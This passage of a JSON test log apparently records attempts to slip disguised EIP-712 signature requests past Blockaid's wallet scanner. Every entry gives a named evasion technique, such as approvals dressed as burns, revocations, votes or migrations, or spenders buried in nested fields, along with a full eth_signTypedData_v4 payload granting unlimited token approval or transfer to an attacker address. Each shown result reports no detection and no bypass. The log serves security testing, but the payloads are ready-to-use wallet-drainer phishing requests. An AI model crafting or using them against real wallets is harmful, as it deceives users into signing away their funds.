Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:14:45.848Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:14:55.034Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:15:04.185Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:15:13.334Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:15:22.480Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:15:31.636Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN7-EIP3009-022", "timestamp": "2026-01-31T16:15:40.804Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3635a489ca272c6f7411c83b9b0fed844c6fdc7b6d4324975e80c27ccab60ea9\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-EIP3009-054", "timestamp": "2026-01-31T16:15:47.349Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xdf102c82a2462e2ce18c679d2af33829b38bcc07dd00ccd9792484245a5892ea\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:15:56.759Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:16:05.927Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:16:15.080Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:16:24.202Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:16:33.348Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:16:42.502Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:16:51.647Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:17:00.819Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:17:10.042Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:17:19.191Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:17:28.347Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT 